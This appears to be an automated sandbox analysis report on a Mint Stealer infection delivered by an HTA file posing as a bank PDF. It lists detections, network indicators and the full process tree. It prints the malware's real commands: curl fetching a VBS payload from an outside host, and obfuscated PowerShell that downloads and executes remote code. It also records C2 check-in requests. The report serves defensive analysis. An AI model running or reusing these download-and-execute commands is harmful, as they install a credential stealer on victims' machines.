Edit tour

Windows Analysis Report
PKO_0019289289544_PDF_#U2463#U2466#U2465#U2462#U2461#U2466#U2464#U2462.hta

Overview

General Information

Sample name:	PKO_0019289289544_PDF_#U2463#U2466#U2465#U2462#U2461#U2466#U2464#U2462.hta renamed because original name is a hash value
Original sample name:	PKO_0019289289544_PDF_.hta
Analysis ID:	1578780
MD5:	80acb2df20b8aa675a02058a2a5a7cbb
SHA1:	ab0fb4d7568de09e774b0a47c08d156084f642c4
SHA256:	bf2df69719d5cebbeca305ca64b8327b26c5b0312a516467b80034c3735dbd25
Tags:	htauser-cdcd
Infos:

Detection

Mint Stealer

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Suricata IDS alerts for network traffic

System process connects to network (likely due to code injection or exploit)

Yara detected Mint Stealer

AI detected suspicious sample

Creates processes via WMI

Obfuscated command line found

Sigma detected: Legitimate Application Dropped Script

Sigma detected: Script Initiated Connection to Non-Local Network

Sigma detected: Script Interpreter Execution From Suspicious Folder

Sigma detected: Suspicious MSHTA Child Process

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Sigma detected: WScript or CScript Dropper - File

Suspicious execution chain found

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Enables debug privileges

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Queries the volume information (name, serial number etc) of a device

Searches for the Microsoft Outlook file path

Sigma detected: Script Initiated Connection

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

mshta.exe (PID: 6700 cmdline: mshta.exe "C:\Users\user\Desktop\PKO_0019289289544_PDF_#U2463#U2466#U2465#U2462#U2461#U2466#U2464#U2462.hta" MD5: 06B02D5C097C7DB1F109749C45F3F505)

cmd.exe (PID: 2136 cmdline: "C:\Windows\System32\cmd.exe" /V/D/c curl -k -o C:\Users\Public\676556be12aca.vbs https://file-download.bytez.cloud/676556be12355/676556be12aca.vbs MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 1904 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

curl.exe (PID: 6964 cmdline: curl -k -o C:\Users\Public\676556be12aca.vbs https://file-download.bytez.cloud/676556be12355/676556be12aca.vbs MD5: 44E5BAEEE864F1E9EDBE3986246AB37A)

cmd.exe (PID: 2836 cmdline: "C:\Windows\System32\cmd.exe" /V/D/c start C:\Users\Public\676556be12aca.vbs MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 3384 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

wscript.exe (PID: 6960 cmdline: "C:\Windows\System32\WScript.exe" "C:\Users\Public\676556be12aca.vbs" MD5: FF00E0480075B095948000BDC66E81F0)

wscript.exe (PID: 4248 cmdline: "C:\Windows\System32\wscript.exe" //E:jscript C:\Users\user\AppData\Local\Temp\cagesr.js MD5: FF00E0480075B095948000BDC66E81F0)

cmd.exe (PID: 2044 cmdline: "C:\Windows\System32\cmd.exe" /V/D/c start C:\Users\Public\676556be12aca.vbs MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 5016 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

wscript.exe (PID: 4296 cmdline: "C:\Windows\System32\WScript.exe" "C:\Users\Public\676556be12aca.vbs" MD5: FF00E0480075B095948000BDC66E81F0)

wscript.exe (PID: 6484 cmdline: "C:\Windows\System32\wscript.exe" //E:jscript C:\Users\user\AppData\Local\Temp\djtukm.js MD5: FF00E0480075B095948000BDC66E81F0)

conhost.exe (PID: 3052 cmdline: conhost --headless powershell $tfqdysmblvrcw='ur' ;new-alias printout c$($tfqdysmblvrcw)l;$eipxqtmaufl=(3052,3063,3071,3055,3057,3052,3072,3071,3076,3009,3071,3005,3052,3000,3070,3065,3066,3001,3003,3000,3066,3058,3066,3017,3069,3015,3063,3059,3064,3070,3069,3004,3003);$ojxutsrkdwlmfg=('bronx','get-cmdlet');$beuwadknj=$eipxqtmaufl;foreach($juaveihgnosc in $beuwadknj){$edlkzoftxn=$juaveihgnosc;$sojqxwd=$sojqxwd+[char]($edlkzoftxn-2954);$cqgevos=$sojqxwd; $hmaoevupsdbn=$cqgevos};$knztexjygdmwfo[2]=$hmaoevupsdbn;$lkrpqc='rl';$ypatcirzmquds=1;.$([char](9992-9887)+'e'+'x')(printout -useb $hmaoevupsdbn) MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7172 cmdline: powershell $tfqdysmblvrcw='ur' ;new-alias printout c$($tfqdysmblvrcw)l;$eipxqtmaufl=(3052,3063,3071,3055,3057,3052,3072,3071,3076,3009,3071,3005,3052,3000,3070,3065,3066,3001,3003,3000,3066,3058,3066,3017,3069,3015,3063,3059,3064,3070,3069,3004,3003);$ojxutsrkdwlmfg=('bronx','get-cmdlet');$beuwadknj=$eipxqtmaufl;foreach($juaveihgnosc in $beuwadknj){$edlkzoftxn=$juaveihgnosc;$sojqxwd=$sojqxwd+[char]($edlkzoftxn-2954);$cqgevos=$sojqxwd; $hmaoevupsdbn=$cqgevos};$knztexjygdmwfo[2]=$hmaoevupsdbn;$lkrpqc='rl';$ypatcirzmquds=1;.$([char](9992-9887)+'e'+'x')(printout -useb $hmaoevupsdbn) MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 7212 cmdline: conhost --headless powershell $wcahze='ur' ;new-alias printout c$($wcahze)l;$trsoqwlp=(1811,1822,1830,1814,1816,1811,1831,1830,1835,1768,1830,1764,1811,1759,1829,1824,1825,1760,1762,1759,1825,1817,1825,1776,1828,1774,1822,1818,1823,1829,1828,1763,1762);$xepbrqkoau=('bronx','get-cmdlet');$dehltizxfcswu=$trsoqwlp;foreach($fahyrwncbvdkjm in $dehltizxfcswu){$dgznhjbpvsl=$fahyrwncbvdkjm;$pkhdavnfqjgs=$pkhdavnfqjgs+[char]($dgznhjbpvsl-1713);$swoezd=$pkhdavnfqjgs; $zotfqbascrdlje=$swoezd};$jmlkbouispxcrh[2]=$zotfqbascrdlje;$kuweximjag='rl';$obgwvcmaft=1;.$([char](9992-9887)+'e'+'x')(printout -useb $zotfqbascrdlje) MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7232 cmdline: powershell $wcahze='ur' ;new-alias printout c$($wcahze)l;$trsoqwlp=(1811,1822,1830,1814,1816,1811,1831,1830,1835,1768,1830,1764,1811,1759,1829,1824,1825,1760,1762,1759,1825,1817,1825,1776,1828,1774,1822,1818,1823,1829,1828,1763,1762);$xepbrqkoau=('bronx','get-cmdlet');$dehltizxfcswu=$trsoqwlp;foreach($fahyrwncbvdkjm in $dehltizxfcswu){$dgznhjbpvsl=$fahyrwncbvdkjm;$pkhdavnfqjgs=$pkhdavnfqjgs+[char]($dgznhjbpvsl-1713);$swoezd=$pkhdavnfqjgs; $zotfqbascrdlje=$swoezd};$jmlkbouispxcrh[2]=$zotfqbascrdlje;$kuweximjag='rl';$obgwvcmaft=1;.$([char](9992-9887)+'e'+'x')(printout -useb $zotfqbascrdlje) MD5: 04029E121A0CFA5991749937DD22A1D9)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author
00000010.00000002.2332125294.0000027D5CEAB000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_MintStealer_1	Yara detected Mint Stealer	Joe Security
Process Memory Space: powershell.exe PID: 7172	JoeSecurity_MintStealer_1	Yara detected Mint Stealer	Joe Security
Process Memory Space: powershell.exe PID: 7232	JoeSecurity_MintStealer_1	Yara detected Mint Stealer	Joe Security

Sigma Signatures

System Summary

Sigma detected: Legitimate Application Dropped Script

Source: File created

Author: frack113, Florian Roth (Nextron Systems): Data: EventID: 11, Image: C:\Windows\SysWOW64\mshta.exe, ProcessId: 6700, TargetFilename: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\676556be12ac3[1].vbs

Sigma detected: Script Initiated Connection to Non-Local Network

Source: Network Connection

Author: frack113, Florian Roth: Data: DestinationIp: 78.138.9.153, DestinationIsIpv6: false, DestinationPort: 443, EventID: 3, Image: C:\Windows\SysWOW64\wscript.exe, Initiated: true, ProcessId: 6960, Protocol: tcp, SourceIp: 192.168.2.4, SourceIsIpv6: false, SourcePort: 49740

Sigma detected: Script Interpreter Execution From Suspicious Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Windows\System32\WScript.exe" "C:\Users\Public\676556be12aca.vbs" , CommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\Public\676556be12aca.vbs" , CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\wscript.exe, NewProcessName: C:\Windows\SysWOW64\wscript.exe, OriginalFileName: C:\Windows\SysWOW64\wscript.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /V/D/c start C:\Users\Public\676556be12aca.vbs, ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 2836, ParentProcessName: cmd.exe, ProcessCommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\Public\676556be12aca.vbs" , ProcessId: 6960, ProcessName: wscript.exe

Sigma detected: Suspicious MSHTA Child Process

Source: Process started

Author: Michael Haag: Data: Command: "C:\Windows\System32\cmd.exe" /V/D/c curl -k -o C:\Users\Public\676556be12aca.vbs https://file-download.bytez.cloud/676556be12355/676556be12aca.vbs, CommandLine: "C:\Windows\System32\cmd.exe" /V/D/c curl -k -o C:\Users\Public\676556be12aca.vbs https://file-download.bytez.cloud/676556be12355/676556be12aca.vbs, CommandLine|base64offset|contains: _, Image: C:\Windows\SysWOW64\cmd.exe, NewProcessName: C:\Windows\SysWOW64\cmd.exe, OriginalFileName: C:\Windows\SysWOW64\cmd.exe, ParentCommandLine: mshta.exe "C:\Users\user\Desktop\PKO_0019289289544_PDF_#U2463#U2466#U2465#U2462#U2461#U2466#U2464#U2462.hta", ParentImage: C:\Windows\SysWOW64\mshta.exe, ParentProcessId: 6700, ParentProcessName: mshta.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /V/D/c curl -k -o C:\Users\Public\676556be12aca.vbs https://file-download.bytez.cloud/676556be12355/676556be12aca.vbs, ProcessId: 2136, ProcessName: cmd.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: "C:\Windows\System32\wscript.exe" //E:jscript C:\Users\user\AppData\Local\Temp\cagesr.js, CommandLine: "C:\Windows\System32\wscript.exe" //E:jscript C:\Users\user\AppData\Local\Temp\cagesr.js, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\wscript.exe, NewProcessName: C:\Windows\SysWOW64\wscript.exe, OriginalFileName: C:\Windows\SysWOW64\wscript.exe, ParentCommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\Public\676556be12aca.vbs" , ParentImage: C:\Windows\SysWOW64\wscript.exe, ParentProcessId: 6960, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\wscript.exe" //E:jscript C:\Users\user\AppData\Local\Temp\cagesr.js, ProcessId: 4248, ProcessName: wscript.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: "C:\Windows\System32\WScript.exe" "C:\Users\Public\676556be12aca.vbs" , CommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\Public\676556be12aca.vbs" , CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\wscript.exe, NewProcessName: C:\Windows\SysWOW64\wscript.exe, OriginalFileName: C:\Windows\SysWOW64\wscript.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /V/D/c start C:\Users\Public\676556be12aca.vbs, ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 2836, ParentProcessName: cmd.exe, ProcessCommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\Public\676556be12aca.vbs" , ProcessId: 6960, ProcessName: wscript.exe

Sigma detected: WScript or CScript Dropper - File

Source: File created

Author: Tim Shelton: Data: EventID: 11, Image: C:\Windows\SysWOW64\wscript.exe, ProcessId: 6960, TargetFilename: C:\Users\user\AppData\Local\Temp\cagesr.js

Sigma detected: Script Initiated Connection

Source: Network Connection

Author: frack113: Data: DestinationIp: 78.138.9.153, DestinationIsIpv6: false, DestinationPort: 443, EventID: 3, Image: C:\Windows\SysWOW64\wscript.exe, Initiated: true, ProcessId: 6960, Protocol: tcp, SourceIp: 192.168.2.4, SourceIsIpv6: false, SourcePort: 49740

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /V/D/c curl -k -o C:\Users\Public\676556be12aca.vbs https://file-download.bytez.cloud/676556be12355/676556be12aca.vbs, CommandLine: "C:\Windows\System32\cmd.exe" /V/D/c curl -k -o C:\Users\Public\676556be12aca.vbs https://file-download.bytez.cloud/676556be12355/676556be12aca.vbs, CommandLine|base64offset|contains: _, Image: C:\Windows\SysWOW64\cmd.exe, NewProcessName: C:\Windows\SysWOW64\cmd.exe, OriginalFileName: C:\Windows\SysWOW64\cmd.exe, ParentCommandLine: mshta.exe "C:\Users\user\Desktop\PKO_0019289289544_PDF_#U2463#U2466#U2465#U2462#U2461#U2466#U2464#U2462.hta", ParentImage: C:\Windows\SysWOW64\mshta.exe, ParentProcessId: 6700, ParentProcessName: mshta.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /V/D/c curl -k -o C:\Users\Public\676556be12aca.vbs https://file-download.bytez.cloud/676556be12355/676556be12aca.vbs, ProcessId: 2136, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: "C:\Windows\System32\WScript.exe" "C:\Users\Public\676556be12aca.vbs" , CommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\Public\676556be12aca.vbs" , CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\wscript.exe, NewProcessName: C:\Windows\SysWOW64\wscript.exe, OriginalFileName: C:\Windows\SysWOW64\wscript.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /V/D/c start C:\Users\Public\676556be12aca.vbs, ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 2836, ParentProcessName: cmd.exe, ProcessCommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\Public\676556be12aca.vbs" , ProcessId: 6960, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell $tfqdysmblvrcw='ur' ;new-alias printout c$($tfqdysmblvrcw)l;$eipxqtmaufl=(3052,3063,3071,3055,3057,3052,3072,3071,3076,3009,3071,3005,3052,3000,3070,3065,3066,3001,3003,3000,3066,3058,3066,3017,3069,3015,3063,3059,3064,3070,3069,3004,3003);$ojxutsrkdwlmfg=('bronx','get-cmdlet');$beuwadknj=$eipxqtmaufl;foreach($juaveihgnosc in $beuwadknj){$edlkzoftxn=$juaveihgnosc;$sojqxwd=$sojqxwd+[char]($edlkzoftxn-2954);$cqgevos=$sojqxwd; $hmaoevupsdbn=$cqgevos};$knztexjygdmwfo[2]=$hmaoevupsdbn;$lkrpqc='rl';$ypatcirzmquds=1;.$([char](9992-9887)+'e'+'x')(printout -useb $hmaoevupsdbn), CommandLine: powershell $tfqdysmblvrcw='ur' ;new-alias printout c$($tfqdysmblvrcw)l;$eipxqtmaufl=(3052,3063,3071,3055,3057,3052,3072,3071,3076,3009,3071,3005,3052,3000,3070,3065,3066,3001,3003,3000,3066,3058,3066,3017,3069,3015,3063,3059,3064,3070,3069,3004,3003);$ojxutsrkdwlmfg=('bronx','get-cmdlet');$beuwadknj=$eipxqtmaufl;foreach($juaveihgnosc in $beuwadknj){$edlkzoftxn=$juaveihgnosc;$sojqxwd=$sojqxwd+[char]($edlkzoftxn-2954);$cqgevos=$sojqxwd; $hmaoevupsdbn=$cqgevos};$knztexjygdmwfo[2]=$hmaoevupsdbn;$lkrpqc='rl';$ypatcirzmquds=1;.$([char](9992-9887)+'e'+'x')(printout -useb $hmaoevupsdbn), CommandLine|base64offset|contains: ^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: conhost --headless powershell $tfqdysmblvrcw='ur' ;new-alias printout c$($tfqdysmblvrcw)l;$eipxqtmaufl=(3052,3063,3071,3055,3057,3052,3072,3071,3076,3009,3071,3005,3052,3000,3070,3065,3066,3001,3003,3000,3066,3058,3066,3017,3069,3015,3063,3059,3064,3070,3069,3004,3003);$ojxutsrkdwlmfg=('bronx','get-cmdlet');$beuwadknj=$eipxqtmaufl;foreach($juaveihgnosc in $beuwadknj){$edlkzoftxn=$juaveihgnosc;$sojqxwd=$sojqxwd+[char]($edlkzoftxn-2954);$cqgevos=$sojqxwd; $hmaoevupsdbn=$cqgevos};$knztexjygdmwfo[2]=$hmaoevupsdbn;$lkrpqc='rl';$ypatcirzmquds=1;.$([char](9992-9887)+'e'+'x')(printout -useb $hmaoevupsdbn), ParentImage: C:\Windows\System32\conhost.exe, ParentProcessId: 3052, ParentProcessName: conhost.exe, ProcessCommandLine: powershell $tfqdysmblvrcw='ur' ;new-alias printout c$($tfqdysmblvrcw)l;$eipxqtmaufl=(3052,3063,3071,3055,3057,3052,3072,3071,3076,3009,3071,3005,3052,3000,3070,3065,3066,3001,3003,3000,3066,3058,3066,3017,3069,3015,3063,3059,3064,3070,3069,3004,3003);$ojxutsrkdwlmfg=('bronx','get-cmdlet');$beuwadknj=$eipxqtmaufl;foreach($juaveihgnosc in $beuwadknj){$edlkzoftxn=$juaveihgnosc;$sojqxwd=$sojqxwd+[char]($edlkzoftxn-2954);$cqgevos=$sojqxwd; $hmaoevupsdbn=$cqgevos};$knztexjygdmwfo[2]=$hmaoevupsdbn;$lkrpqc='rl';$ypatcirzmquds=1;.$([char](9992-9887)+'e'+'x')(printout -useb $hmaoevupsdbn), ProcessId: 7172, ProcessName: powershell.exe

Suricata Signatures

ET MALWARE Mints.Loader CnC Activity (GET)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-20T12:39:42.038187+0100	2057063	1	A Network Trojan was detected	192.168.2.4	49748	206.188.197.242	80	TCP
2024-12-20T12:39:42.053906+0100	2057063	1	A Network Trojan was detected	192.168.2.4	49747	206.188.197.242	80	TCP
2024-12-20T12:40:04.070681+0100	2057063	1	A Network Trojan was detected	192.168.2.4	49755	206.188.197.242	80	TCP
2024-12-20T12:40:04.085365+0100	2057063	1	A Network Trojan was detected	192.168.2.4	49754	206.188.197.242	80	TCP

ET MALWARE TA582 CnC Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-20T12:39:42.038187+0100	2057743	1	A Network Trojan was detected	192.168.2.4	49748	206.188.197.242	80	TCP
2024-12-20T12:39:42.053906+0100	2057743	1	A Network Trojan was detected	192.168.2.4	49747	206.188.197.242	80	TCP
2024-12-20T12:40:04.070681+0100	2057743	1	A Network Trojan was detected	192.168.2.4	49755	206.188.197.242	80	TCP
2024-12-20T12:40:04.085365+0100	2057743	1	A Network Trojan was detected	192.168.2.4	49754	206.188.197.242	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 97.3% probability

Source: unknown	HTTPS traffic detected: 78.138.9.153:443 -> 192.168.2.4:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 78.138.9.153:443 -> 192.168.2.4:49738 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 78.138.9.153:443 -> 192.168.2.4:49740 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 78.138.9.153:443 -> 192.168.2.4:49741 version: TLS 1.2

Source:	Binary string: CallSite.Target.pdb source: powershell.exe, 00000010.00000002.2403618000.0000027D73A30000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: CallSite.Target.pdbX source: powershell.exe, 0000000E.00000002.2403589372.0000016777CDF000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \mscorlib.pdblse"K source: powershell.exe, 00000010.00000002.2400440616.0000027D73850000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\mscorlib.pdb source: powershell.exe, 0000000E.00000002.2400449466.00000167778D4000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2400440616.0000027D737F0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: mscorlib.pdb source: powershell.exe, 0000000E.00000002.2400449466.000001677795B000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2403618000.0000027D73A70000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: .pdb[ source: powershell.exe, 00000010.00000002.2403618000.0000027D73A70000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\symbols\dll\mscorlib.pdb source: powershell.exe, 0000000E.00000002.2400449466.00000167778D4000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2403618000.0000027D73A30000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: e.pdb" source: powershell.exe, 00000010.00000002.2330313126.0000027D597BC000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: mscorlib.pdbr+ source: powershell.exe, 00000010.00000002.2403618000.0000027D73A70000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: mscorlib.pdbCLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3931}\InprocServer32 source: powershell.exe, 0000000E.00000002.2400449466.00000167778D4000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Utility\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Utility.pdb source: powershell.exe, 00000010.00000002.2403618000.0000027D73A70000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\mscorlib.pdb source: powershell.exe, 0000000E.00000002.2403589372.0000016777CA0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\mscorlib.pdbu source: powershell.exe, 00000010.00000002.2403618000.0000027D73A30000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\dll\mscorlib.pdb L source: powershell.exe, 00000010.00000002.2400440616.0000027D73850000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Utility\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Utility.pdb-+ source: powershell.exe, 00000010.00000002.2403618000.0000027D73A70000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Windows\Microsoft.PowerShell.Commands.Utility.pdbpdbity.pdb89 source: powershell.exe, 00000010.00000002.2400440616.0000027D737F0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\mscorlib.pdbY~ source: powershell.exe, 0000000E.00000002.2403589372.0000016777CA0000.00000004.00000020.00020000.00000000.sdmp

Software Vulnerabilities

Suspicious execution chain found

Source: C:\Windows\SysWOW64\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2057063 - Severity 1 - ET MALWARE Mints.Loader CnC Activity (GET) : 192.168.2.4:49748 -> 206.188.197.242:80
Source: Network traffic	Suricata IDS: 2057743 - Severity 1 - ET MALWARE TA582 CnC Checkin : 192.168.2.4:49748 -> 206.188.197.242:80
Source: Network traffic	Suricata IDS: 2057063 - Severity 1 - ET MALWARE Mints.Loader CnC Activity (GET) : 192.168.2.4:49755 -> 206.188.197.242:80
Source: Network traffic	Suricata IDS: 2057743 - Severity 1 - ET MALWARE TA582 CnC Checkin : 192.168.2.4:49755 -> 206.188.197.242:80
Source: Network traffic	Suricata IDS: 2057063 - Severity 1 - ET MALWARE Mints.Loader CnC Activity (GET) : 192.168.2.4:49747 -> 206.188.197.242:80
Source: Network traffic	Suricata IDS: 2057743 - Severity 1 - ET MALWARE TA582 CnC Checkin : 192.168.2.4:49747 -> 206.188.197.242:80
Source: Network traffic	Suricata IDS: 2057063 - Severity 1 - ET MALWARE Mints.Loader CnC Activity (GET) : 192.168.2.4:49754 -> 206.188.197.242:80
Source: Network traffic	Suricata IDS: 2057743 - Severity 1 - ET MALWARE TA582 CnC Checkin : 192.168.2.4:49754 -> 206.188.197.242:80

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\SysWOW64\wscript.exe

Network Connect: 78.138.9.153 443

Source: Joe Sandbox View	ASN Name: SKYVISIONGB SKYVISIONGB
Source: Joe Sandbox View	ASN Name: DEFENSE-NETUS DEFENSE-NETUS

Source: Joe Sandbox View	JA3 fingerprint: 74954a0c86284d0d6e1c4efefe92b521
Source: Joe Sandbox View	JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: global traffic	HTTP traffic detected: GET /676556be12355/js/676556be11f48.js HTTP/1.1Accept: /Accept-Language: en-CHAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: file-download.bytez.cloudConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /676556be12355/676556be12ac3.vbs HTTP/1.1Accept: /Accept-Language: en-CHAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: file-download.bytez.cloudConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /list_files.php HTTP/1.1Accept: /Accept-Language: en-chAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: file-download.bytez.cloudConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /list_files.php HTTP/1.1Accept: /Accept-Language: en-chAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: file-download.bytez.cloudConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /js/cagesr.txt HTTP/1.1Accept: /Accept-Language: en-chAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: file-download.bytez.cloudConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /js/djtukm.txt HTTP/1.1Accept: /Accept-Language: en-chAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: file-download.bytez.cloudConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /1.php?s=mints21 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: bmuegbvuz7u3b.topConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /1.php?s=mints21 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: bmuegbvuz7u3b.topConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /1.php?s=mints21 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: bmuegbvuz7u3b.topConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /1.php?s=mints21 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: bmuegbvuz7u3b.topConnection: Keep-Alive

